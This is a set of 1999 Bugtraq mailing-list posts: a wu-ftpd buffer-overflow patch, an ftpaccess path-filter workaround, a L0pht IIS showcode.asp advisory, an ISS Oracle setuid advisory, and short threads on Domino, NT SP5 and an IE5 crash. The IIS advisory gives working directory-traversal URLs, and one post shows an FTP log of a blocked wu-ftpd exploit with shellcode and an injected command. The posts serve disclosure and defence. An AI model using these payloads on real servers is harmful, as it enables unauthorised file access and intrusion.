Bugtraq archives for 2nd quarter (Apr-Jun) 1999: wu-ftpd exploit fix

wu-ftpd exploit fix

Adam Maloney (adamIEXPOSURE.COM)
Thu, 6 May 1999 14:19:48 -0500

We evaluated the source to the exploit, and made some changes to
realpath.c (found in the /src directory of the wu-ftpd tarball)   After
making these changes, we tried the exploits again on 3 different
machines (that we were able to compromise before) and could no longer
get root.

Interestingly enough, from the code that we saw, there was already code
in the source to handle buffer overflows, but it wasn't implemented for
all of the functions.

Niether I nor my company make any guarantees that these changes will fix
the buffer overflows.  I will say that we have not been able to gain
root through the exploit posted since we made these changes.

This diff is against wu-ftpd 2.4.2b18 (not a VC distro) Here's the diff:

150c150
<             strcpy(result, namebuf);
---
>             strncpy(result, namebuf, MAXPATHLEN);
158c158
<                 strcpy(result, namebuf);
---
>                 strncpy(result, namebuf, MAXPATHLEN);
178c178
<             strcpy(result, namebuf);
---
>             strncpy(result, namebuf, MAXPATHLEN);
183c183
<     strcpy(result, workpath);
---
>     strncpy(result, workpath, MAXPATHLEN);

Adam Maloney
Systems Administrator
Internet Exposure, Inc.
[612] 922.3126

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Domino [was: AS/400]

Domino [was: AS/400]

Magosanyi Arpad (magBUNUEL.TII.MATAV.HU)
Fri, 7 May 1999 08:44:11 +0200

A levelezõm azt hiszi, hogy Pavel Ahafonau a következõeket írta:
> As for SMTP and Lotus Notes/Domino this is a big problem for it's users
> because there no any anti-spam protection like in Sendmail.
> Now we are playing with 5th Lotus Domino and there are all this bugs fixed
> and anti-spam implemented ~80)

There are still problems with Domino anti-spam: If you send a smtp mail
to a domino user who's forwarding address is a smtp address, the domino
smtp MTA will reject the message.

This is security related only by the fact that most of the notes admins
will choose to disable anti-spam after encountering this problem first.

--
GNU GPL: csak tiszta forrásból

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Windows NT Service Pack 5 Released

Re: Windows NT Service Pack 5 Released

Olaf Seibert (rhialtoPOLDER.UBC.KUN.NL)
Fri, 7 May 1999 16:11:14 +0200

On Thu, 6 May 1999, Chad Price wrote:

> You forgot to mention that you MUST be running IE and also that the SP5 web
> pages induce _long_ (30 seconds +) apparent lockups when downloading all
> the pages (and before displaying their contents for you to actual read)
> with Netscape. The NT performance monitor is pegged at 100% for this period
> of time.
>
> When you eventually get to the page which allows you to download the
> 128-bit SP is the point at which you find out that the full SP will not be
> released until May 19th and that you must be running IE to download the
> current version.

I just downloaded it with Lynx. No silly pauses, and to my amazement
the pages were fairly readable too.

One thing I wonder about though. On the one hand it is recommended (even
by Microsoft IIRC) not to run browsers on your NT server at all, on the
other hand you are strongly suggested to use a browser on your NT server
in order to update it...

-Olaf.
--
___ Olaf 'Rhialto' Seibert - rhialtopolder.ubc. ---- Unauthorized duplication,
\X/ .kun.nl ---- while sometimes necessary, is never as good as the real thing.

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: AS/400

Re: AS/400

Justin Golden (JustinGoldenMEDIAONE.NET)
Thu, 6 May 1999 15:37:43 -0500

In fact, you can disable mail forwarding, and thereby avoid the Spam threat
by adding this undocumented parameter to the notes.ini file:
SMTPMTA_REJECT_RELAYS=1

Any mail forwarding will bounce directly back to the sender.

Justin Golden
Precision Systems Concepts


> As for SMTP and Lotus Notes/Domino this is a big problem for it's users
> because there no any anti-spam protection like in Sendmail.
> Now we are playing with 5th Lotus Domino and there are all this bugs fixed
> and anti-spam implemented ~80)
>
> Best regards,
> Paully A. Ahafonau.
>
> International Business Alliance (http://www.iba.com.by)
>

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: MSIE 5 favicon bug

Re: MSIE 5 favicon bug

Lee Chia Ling (leeclASIANSOURCES.COM)
Fri, 7 May 1999 12:22:58 +0800

Dear all,

Tested from Win98 with MSIE 5.0 (v5.00.2014.0216) and it crashed
as discribed.

--- cllee

Ted.Buchan.330895ARMY.DEFENCE.GOV.AU wrote:
>
> >Tried it from a couple of Win95 (OSR/2, no patches) machines with MSIE
> 5.0,
> >no crash either... if anyone can replicate this I'd be curious to know.
> How
> >have you gone about testing this? Which platform(s)? Win98 only?
>
> I tried it from a Windows 95 OSR2 (v4.0.1111) machine with MSIE5
> (v5.00.2014.0216) and
> about 5 seconds after adding
> http://web.cip.com.br/flaviovs/sec/favicon/index.html to my
> favourites I got a gpf in USER.EXE just as Flavio had stated...

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Fwd: Re: SP5 128 Full Version Pulled

Fwd: Re: SP5 128 Full Version Pulled

Chad Price (cpriceMOLBIO.UNMC.EDU)
Fri, 7 May 1999 08:47:48 -0500

After my posting yesterday, I've received numerous messages telling me I
was wrong. Here's what Microsoft released to NT BUGTRAQ.  Isn't it about
time people realized that if someone passes along messages read from a web
page, the errors are the fault of the web page publisher? (Microsoft in
this case) and they are not the fault of the person who reports what the
web page says.


>Approved-By: Russ.CooperRC.ON.CA
>X-Mailer: Internet Mail Service (5.5.2524.0)
>Date:         Thu, 6 May 1999 18:19:17 -0700
>Reply-To: John Hazen <jhazenMICROSOFT.COM>
>Sender: Windows NT BugTraq Mailing List <NTBUGTRAQLISTSERV.NTBUGTRAQ.COM>
>From: John Hazen <jhazenMICROSOFT.COM>
>Subject:      Re: SP5 128 Full Version Pulled
>To: NTBUGTRAQLISTSERV.NTBUGTRAQ.COM
>
>The problem is absolutely bandwidth.  We simply misjudged the demand for the
>Service Pack 5 128-bit version.  We significantly increased the number of
>distribution servers from what we had for Service Pack 4, but it was not
>enough.  We are adding servers as quickly as possible and will be back on
>the air with 128-bit by the 19th.  We left the patch install available as an
>alternative to the full install, since it is very small and can be easily
>served by our present systems.  Leaving the full install and pulling the
>patch install would not have solved the problem.
>
>Their are no problems with the 128-bit files, and we fully expect to re-post
>exactly the same files on the 19th as were originally posted.  If we are
>able to move sooner, we will, but right now we are committing to the 19th.
>
>We apologize for the inconvenience this has been to our customers.
>
>John Hazen
>Microsoft
>
>-----Original Message-----
>From: Russ [mailto:Russ.CooperRC.ON.CA]
>Sent: Thursday, May 06, 1999 4:21 PM
>To: NTBUGTRAQLISTSERV.NTBUGTRAQ.COM
>Subject: Re: SP5 128 Full Version Pulled
>
>
>>Microsoft has pulled the 128 Bit full install of SP5. No reason
>>given. Does anyone know if the full version available yesterday
>>has a problem with it?
>
>When I asked about this I was told that the problem was bandwidth. This
>doesn't sound correct to me, although there are some issues surrounding
>the distribution of non-export crypto that could relate to bandwidth
>(like the fact the download site needs to determine whether you are
>coming from a U.S. or Canadian ISP site).
>
>There are not, however, any problems with the full 128-bit download
>bits.
>
>I recommended that they do away with the Express Install for now and put
>the Full Install back again. I'd hazard a guess at something like 90% of
>all downloads of SP5 will be for the Full Install. Can you imagine how
>Corporation customers must be feeling, having to wait until May 19th
>while home users can get it today? Can you say Doh! Not to mention the
>fact you'd have to have IE installed on any machine you wanted to put
>SP5 on (otherwise how do you use their Express Install).
>
>We'll keep our eye on the site and see if they make any changes before
>May 19th.
>
>Cheers,
>Russ - NTBugtraq moderator

Chad Price
Systems Manager
University of Nebraska Medical Center
600 S 42nd St
Omaha, NE 68506-6495
cpricemolbio.unmc.edu
(402) 559-9527
(402) 559-4077 (FAX)

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: wuftp2.4.2academ beta 12-18 exploit

Re: wuftp2.4.2academ beta 12-18 exploit

laqSWIPNET.SEX
Fri, 7 May 1999 10:42:54 +0200

On Wed, 5 May 1999 laqSWIPNET.SE wrote:

> > Workaround:
> >
> > wu-ftpd and variants that use files /etc/ftp* for configuration
> > can easily help protect you against the many recent variants that
> > exploit buffer overflows with MKDIR.  All the varieties I've
> > seen require creating a directory or file - that's where the
> > overflow happens.
> >
> > In /etc/ftpaccess, you have the option to specify what commands
> > may and may not be run by particular users.  Just add lines to
> > specify that user anonymous (or whatever others you want) cannot
> > put, delete, mkdir, etc.
> >
> > E.g., lines like these:
> >
> > chmod           no              anonymous
> > delete          no              anonymous
> > overwrite       no              anonymous
> > rename          no              anonymous
> > mkdir           no              anonymous
> > upload          no              anonymous
>
> if you still want to let anonymous users create directories,
> take a look at path-filter option for that very same file.
>
> # path-filter...
> path-filter  anonymous  /etc/pathmsg  ^[-A-Za-z0-9_\.]*$  ^\.  ^-
>
> when i tried the exploit on myself i got alot of "Permission denied (pathname)",
> so at least it seems to work.
>

i got some questions about how to make this filter apply to ordinary users as
well, i might point this out at the list instead of answering each mail.

instead of anonymous, use "real" to make the filter apply to any other user.
just like:

path-filter  real  /etc/pathmsg  ^[-A-Za-z0-9_\.]*$  ^\.  ^-

but this would piss users of as they wouldnt be allowed to create .directory
which they actually might want to do, and have the right to do.

so here is a cut from my own ftpaccess file:

# path-filter...
path-filter  anonymous  /etc/pathmsg  ^[-A-Za-z0-9_\.]*$  ^\.  ^-
path-filter  guest      /etc/pathmsg  ^[-A-Za-z0-9_\.]*$  ^\.  ^-
path-filter  real      /etc/pathmsg  ^[-A-Za-z0-9_\.]*$

this lets your ordinary users use filenames starting with . and -
but still rejects the exploit, lookie here:



Iþè¬ÿÿÿ: Permission denied. (Filename (accept))
550 1A1U°Iþ1A°Iþ1A1U°.IþëO1A1É^°'þ^þűíIþ1Aþ^°=Iþ1A»OÑþÿ÷U1ɱVIþcd /; uname -a;
pwd; id;
þÆàù^°=þ^Iþ1AþFþþF
                  °
                   þóþþV
                        Iþè¬ÿÿÿ: No such file or directory.
257 "/tmp/bin" new directory created.
250 CWD command successful.
257 "/tmp/bin/sh" new directory created.
250 CWD command successful.
550-I don't like crappy filenames..
550-please choose another name for the
550-shit you're trying to send me.
550-
550-Rules:
550-1. only chars A-Z,a-z,0-9,.\- are allowed in filenames
550-2. NO initial . or - in filenames
550
"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿":
Permission denied. (Filename (accept))
550
"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿":
No such file or directory.
550-I don't like crappy filenames..
550-please choose another name for the
550-shit you're trying to send me.
550-
550-Rules:
550-1. only chars A-Z,a-z,0-9,.\- are allowed in filenames
550-2. NO initial . or - in filenames
550
ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿:
Permission denied. (Filename (accept))
550
ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿:
No such file or directory.
550-I don't like crappy filenames..
550-please choose another name for the
550-shit you're trying to send me.
550-
550-Rules:
550-1. only chars A-Z,a-z,0-9,.\- are allowed in filenames
550-2. NO initial . or - in filenames
550
"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿":
Permission denied. (Filename (accept))
550
"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿":
No such file or directory.
550-I don't like crappy filenames..
550-please choose another name for the
550-shit you're trying to send me.
550-
550-Rules:
550-1. only chars A-Z,a-z,0-9,.\- are allowed in filenames
550-2. NO initial . or - in filenames
550
ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿:
Permission denied. (Filename (accept))
550
ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿"ÿ¿:
No such file or directory.
500 'CD /; uname -a; pwd; id;': command not understood.




oh, btw, if you want to reply to me, remove the last x from my address, i put it
there to hopefully not have to get all those "out of office" messages.



-------------------------------------------
PGP : http://home.swipnet.se/laq/pgpkey.asc
HTTP: http://home.swipnet.se/laq
CELL: 070-7564423
-------------------------------------------

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: KKIS.05051999.003b

Re: KKIS.05051999.003b

Eugeny Kuzakov (kevLAB321.RU)
Fri, 7 May 1999 11:25:05 +0700

On Wed, 5 May 1999, Lukasz Luzar wrote:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Informations ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>  Report title        : Security problem with sockets in FreeBSD's
>                        implementation of UNIX-domain protocol family.
>  Problem found by    : Lukasz Luzar (lluzarsecurity.kki.pl)
>  Report created by   : Robert Pajak (shadowsecurity.kki.pl)
>                        Lukasz Luzar (lluzarsecurity.kki.pl)
>  Raport published    : 5th May 1999
>  Raport code         : KKIS.05051999.003.b
>  Systems affected    : FreeBSD-3.0 and maybe 3.1,
>  Archive             : http://www.security.kki.pl/advisories/
>  Risk level          : high
I tryed it under 3.1-stable. No problem.

--
	Best wishes, Eugeny Kuzakov
		Laboratory 321 ( Omsk, Russia )
		kevlab321.ru
		ICQ#: 5885106

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: L0pht Advisory: NT IIS 4.0 - showcode file viewing vulnerabil

Re: L0pht Advisory: NT IIS 4.0 - showcode file viewing vulnerabil

Michael Howard (mikehowMICROSOFT.COM)
Fri, 7 May 1999 11:39:41 -0700

fyi

there's a couple of kb's on this kind of thing

Q184717 - AspEnableParentPaths MetaBase Property Should Be Set To False

as well as one on removing samples.

also note, that the exair sample (which is NOT installed by default) also
has showcode functionality.

Cheers, MH
IIS Security PM


-----Original Message-----
From: Weld Pond [mailto:weldL0PHT.COM]
Sent: Friday, May 07, 1999 7:29 AM
To: BUGTRAQNETSPACE.ORG
Subject: L0pht Advisory: NT IIS 4.0 - showcode file viewing
vulnerability


               L0pht Security Advisory

-------------
URL Origin:    http://www.l0pht.com/advisories.html
Release Date:  May 7th, 1999
Application:   Microsoft IIS 4.0 Web Server
Severity:      Web users can view ASP source code and other sensitive
               files on the web server
Author:        weldl0pht.com
Operating Sys: Microsoft NT Server 4.0
--------------

I. Description

Internet Information Server (IIS) 4.0 ships with a set of sample files
to help web developers learn about Active Server Pages (ASP).  One of
these sample files, showcode.asp, is designed to view the source
code of the sample applications via a web browser. The showcode.asp
file does inadequate security checking and allows anyone with a web
browser to view the contents of any text file on the web server.  This
includes files that are outside of the document root of the web
server.

Many ecommerce web servers store transaction logs and other customer
information such as credit card numbers, shipping addresses, and
purchase information in text files on the web server.  This is the
type of data that could be accessed with this vulnerability.

The L0pht would like to thank Parcens for doing the initial research on
this problem.

II. Details

The showcode.asp file is installed by default at the URL:

http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp

It takes 1 argument in the URL, which is the file to view. The format of
this argument is:

source=/path/filename

So to view the contents of the showcode.asp file itself the URL would be:

http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/
Samples/SELECTOR/showcode.asp

This looks like a fairly dangerous sample file. It can view the contents
of files on the system. The author of the ASP file added a security check
to only allow the viewing of the sample files which were in the '/msadc'
directory on the system. The problem is the security check does not test
for the '..' characters within the URL.  The only checking done is if the
URL contains the string '/msadc/'.  This allows URLs to be created that
view, not only files outside of the samples directory, but files anywhere
on the entire file system that the web server's document root is on.

For example, a URL that will view the contents of the boot.ini file, which
is in the root directory of an NT system is:

http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/
Samples/../../../../../boot.ini

This URL requires that IIS 4.0 was installed in its default location.


III. Solution

For production servers, sample files should never be installed so delete
the entire /msadc/samples directory.  If you must have the showcode.asp
capability on development servers the showcode.asp file should be modified
to test for URLs with '..' in them and deny those requests.


For specific questions about this advisory, please contact
weldl0pht.com

---------------
For more L0pht (that's L - zero - P - H - T) advisories check out:
http://www.l0pht.com/advisories.html
---------------

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Infosec.19990305.macof.a

Re: Infosec.19990305.macof.a

David Maxwell (davidFUNDY.CA)
Thu, 6 May 1999 22:50:53 -0300

On Wed, May 05, 1999 at 09:15:25AM +0100, ian.vitekINFOSEC.SE wrote:
> Infosec Security Vulnerability Report
> No: Infosec.19990305.macof.a
> =====================================
>
> Vulnerability Summary
> ---------------------
>
> Problem:  Due to limitation with ARP/MAC-tables;
>                switches could start sending packages to all ports,
>                other network devices could hang, crash or reboot
>                if they receive lots of MAC-addresses.

This doesn't seem like a major issue, as long as
PER PORT Mac limit < x < y < PER SWITCH Mac limit
and y-x is a reasonable size.

Since you can only generate Mac addresses which will be recorded
on the port of the switch your attacking box is connected to,
you won't be able to overload the box entirely.

You will be able to knock valid local (i.e. on your segment) Macs
out of the table, but this will only give the switch a little
extra work to do (packet replication). All the traffic to or from
hosts on the same port as you should already be sniffable anyway.
Displacing existing Macs will disrupt traffic as mentioned, but

it's worth noting that on some brands of VLAN capable switch,
the same Mac can exist without conflict in more than 1 VLAN. So
you'll only be affecting the VLAN you're connected to.

--
David Maxwell, davidvex.net|davidmaxwell.net --> Mastery of UNIX, like
mastery of language, offers real freedom. The price of freedom is always dear,
but there's no substitute. Personally, I'd rather pay for my freedom than live
in a bitmapped, pop-up-happy dungeon like NT. - Thomas Scoville

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Infosec.19990305.macof.a

Re: Infosec.19990305.macof.a

Glen Turner (glen.turnerADELAIDE.EDU.AU)
Fri, 7 May 1999 13:29:33 +0930

ian.vitekINFOSEC.SE wrote:

> Problem:  Due to limitation with ARP/MAC-tables;
>                switches could start sending packages to all ports,
>                other network devices could hang, crash or reboot
>                if they receive lots of MAC-addresses.
>

This problem is well-known.  We see it occassionally.

The bridge designer faces two choices:

 1. To flood packets when the filtering database
    fills.  Thus the bridge can cope with larger
    bridged networks than it was originally
    designed for.

 2. To refuse service to addresses not already
    in the filtering database when the database
    fills.

IEEE 802.1d isn't much use in deciding which option
is best.


Fixes are to activate "port security", which deactivates
a port if its MAC address changes.  This limits the
DoS to one machine, which may still be worthwhile
if the machine runs an attractive service.  It is
costly to administer in a large network.

Some switches have a "trap on port MAC address change"
option. The port running the exploit will generate a huge
number of traps, and suitable administrative action taken.

Networks with trees of switches will see multiple traps
as MAC addresses changes, so this option is usually
only enabled on switches at the edge.

However, we run this option on all our switches and
just deal with the extra traps.


Switch vendors do need to improve security.  Most vendors'
plans involve obtaining user authentication before granting
significant link-level access.  At present, these plans
are somewhat propietary.


Network design is also important.  We place all public
access areas (computing labs, etc) on their own IP subnets.
These areas usually require significant IP filtering
in any case.  The effect is to limit link-level DoS attacks
initiated from a public keyboard to a single physical area.

--
 Glen Turner                               Network Specialist
 Tel: (08) 8303 3936          Information Technology Services
 Fax: (08) 8303 4400         The University of Adelaide  5005
 Email: glen.turneradelaide.edu.au           South Australia

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: ISS Security Advisory: Multiple File System Vulnerabilities in

ISS Security Advisory: Multiple File System Vulnerabilities in

X-Force (xforceISS.NET)
Fri, 7 May 1999 14:53:55 -0400

-----BEGIN PGP SIGNED MESSAGE-----

ISS Security Advisory
May 6, 1999

Multiple File System Vulnerabilities in Oracle 8

Synopsis:

Internet Security Systems (ISS) X-Force has discovered that multiple
vulnerabilities exist in Oracle 8 that may allow local attackers to exploit
weaknesses in Oracle administrative tools.  Oracle is the market leader in
enterprise database solutions. Attackers may use these vulnerabilities to
amplify their privilege to that of the 'oracle' user.  By default, the
oracle user controls the entire Oracle database system.  Attackers may
launch local denial of service attacks against the database as well as alter
or manipulate data.


Affected Versions:

ISS X-Force has determined that most current versions of Oracle 8 for Unix
are vulnerable.  These versions include 8.03, 8.04, 8.05, and 8.15.  Oracle
8 for Windows NT is not affected by these vulnerabilities.

Description:

The Oracle 8 distribution is shipped with many administrative utilities that
are owned by the oracle user with the setuid bit enabled. Several of these
utilities implement insecure file creation and manipulation.  These
utilities also trust Oracle-related environment variables.  The combined
effect of these vulnerabilities may allow local attackers to create, append
to, or overwrite privileged oracle files.  Certain vulnerabilities exist
that may allow local attackers to execute arbitrary commands as the oracle
user.  Attackers may also be able to permanently elevate their privilege to
that of the oracle user.

Temporary files that follow symbolic links are a common source of
vulnerabilities in setuid executables.  Administrators should remove or
restrict access to setuid executables if possible.

Developers of setuid programs need to take special precautions to prevent
the introduction of vulnerabilities of this nature. ISS X-Force recommends
that all Unix developers become familiar with Matt Bishop's secure
programming guide, available at
http://olympus.cs.ucdavis.edu/~bishop/secprog.html

Fix Information:

ISS X-Force has worked with Oracle to provide a patch for the
vulnerabilities described in this advisory.  Oracle has provided the
following FAQ to answer any questions concerning these vulnerabilities.

Q: I've heard about a setuid security issue with the Oracle database? What
is this all about?
A: On Unix platforms, some executable files have the setuid bit on. It may
be possible for a very knowledgeable user to use these executables to bypass
your system security by elevating their operating system privileges to that
of the Oracle user.

Q: Which releases are affected by this problem?
A: This problem affects Oracle data server releases 8.03, 8.0.4, 8.0.5, and
8.1.5 on Unix platforms only.

Q: Can I correct this problem or do I need a patch?
A: This problem can easily be corrected. The customer can download the patch
from the Oracle MetaLink webpages at http://www.oracle.com/support/elec_sup.
The patch is a Unix shell script. This shell script should be run
immediately, and also run after each relink of Oracle.

Q: What is Oracle doing to fix this problem?
A: Effective immediately, Oracle will provide the patch on Oracle's
Worldwide Support Web pages. Oracle will ensure the patches are incorporated
into future releases of Oracle8i (8.1.6) and Oracle8.0 (8.0.6)

Q: What is Oracle doing to notify users about this problem now?
A: Oracle is notifying all supported customers, via the Oracle Worldwide
Support Web pages, of this issue so they can address it as required.

ISS X-Force also recommends that all administrators complete a proactive
survey on the use or potential misuse of setuid bits on privileged
executables on their systems.

Credits:

These vulnerabilities were primarily researched by Dan Ingevaldson of the
ISS X-Force.

________

Copyright (c) 1999 by Internet Security Systems, Inc.  Permission is
hereby granted for the electronic redistribution of this Security Alert.
It is not to be edited in any way without express consent of the X-Force.
If you wish to reprint the whole or any part of this Alert Summary in any
other medium excluding electronic medium, please e-mail xforceiss.net for
permission.

About ISS
ISS is the pioneer and leading provider of adaptive network security
software delivering enterprise-wide information protection solutions. ISS'
award-winning SAFEsuite family of products enables information risk
management within intranet, extranet and electronic commerce environments.
By combining proactive vulnerability detection with real-time intrusion
detection and response, ISS' adaptive security approach creates a flexible
cycle of continuous security improvement, including security policy
implementation and enforcement. ISS SAFEsuite solutions strengthen the
security of existing systems and have dramatically improved the security
posture for organizations worldwide, making ISS a trusted security advisor
for firms in the Global 2000, 21 of the 25 largest U.S. commercial banks
and over 35 governmental agencies. For more information, call ISS at
678-443-6000 or 800-776-2362 or visit the ISS Web site at www.iss.net.

Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties with regard to this information. In no event shall the
author be liable for any damages whatsoever arising out of or in
connection with the use or spread of this information. Any use of this
information is at the user's own risk.

X-Force PGP Key available at:   http://www.iss.net/xforce/sensitive.html
as well as on MIT's PGP key server and PGP.com's key server.

Please send suggestions, updates, and comments to:
X-Force <xforceiss.net> of Internet Security Systems, Inc.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: noconv

iQCVAwUBNzLwJzRfJiV99eG9AQFDHwP/U4iParVoaPwPea8i+mXciMELGUDga2UM
Iyk6T6poQ9G3ASefs+v6Lm509xDeGCcPTi1MB7SvzUBb1vx95yOhu4M9CJHWOTCJ
3/ZlpV1Zdc7s/+N0ACxFNPozOmQvpT3OhbJKOakNQxDg3q/VbVXcJOxJ0DBKy7Xe
d0ehW7p2OqQ=
=6FXz
-----END PGP SIGNATURE-----

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: MSIE 5 favicon bug

Re: MSIE 5 favicon bug

Cliff Rowley (dozpromptNOSPLASH.FORCE9.CO.UK)
Fri, 7 May 1999 19:39:11 +0100

Also works with:

Win98 4.10.1998
IE5 5.00.2014.0216

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Microsoft Security Bulletin (MS99-013)

Microsoft Security Bulletin (MS99-013)

aleph1UNDERGROUND.ORG
